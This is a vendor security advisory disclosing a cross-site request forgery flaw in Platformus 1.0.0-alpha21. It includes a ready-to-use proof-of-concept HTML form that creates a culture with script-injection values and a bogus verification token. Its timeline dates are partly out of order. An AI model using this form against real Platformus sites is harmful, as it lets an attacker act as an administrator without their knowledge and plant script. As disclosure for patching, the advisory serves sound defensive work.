Advisory by Netsparker
Name: Multiple Vulnerabilities in Platformus 1.0.0-alpha21
Affected Software: Platformus
Affected Versions: 1.0.0-alpha21
Vulnerability: Cross Site Request Forgery
Severity: Low
Status: Fixed
CVE-ID:  2018-14488
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-013

Technical Details

Cross Site Request Forgery

URL: http://{platformus_url}/backend/cultures/create


<form action="http://{platformus_url}/backend/cultures/create" method="post">
<input type="hidden" name="code" value='asd"><script>alert(1)</script>'>
<input type="hidden" name="name" value='asd"><script>alert(1)</script>'>
<input type="hidden" name="isDefault" value='true'>
<input type="hidden" name="isBackendUi" value='true'>
<input type="hidden" name="__RequestVerificationToken" value='asd'>
<input type="submit" value="We can submit this form without User Interaction">

  1. Login to Platformus Demo (or your website url).
  2. Run exploit in your browser.
  3. Exploit add new Culture to your Platformus Application without Admin's Knowledge.

Note: Platformus Application uses same-site feature on Cookies, But Same-site feature don't support all major browsers. It only supported from Chrome, Opera, Android Mobile Browser. You can check here same-site support . If Admin using IE, Edge, Safari, Firefox, Admin will affect this vulnerability.

Using same-site feature is very good practice but it's not enough.
Culture Add/Edit Form has a "__RequestVerificationToken" input. But Verification Token Input doesn't control valid or not.

For more information on cross-site scripting vulnerabilities read the article Cross Site Request Forgery.

Advisory Timeline

29th September 2017 - First Contact
1st October 2017 - Technical Details Reported
11th December 2018 - Attempted to Contact 
17th January 2018 - Attempted to Contact 
26th October 2018 - Advisory Released

Credits & Authors

These issues have been discovered by Mustafa Yalçın while testing Netsparker Web Application Security Scanner.

About Netsparker

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Enterprise. Visit our website for more information.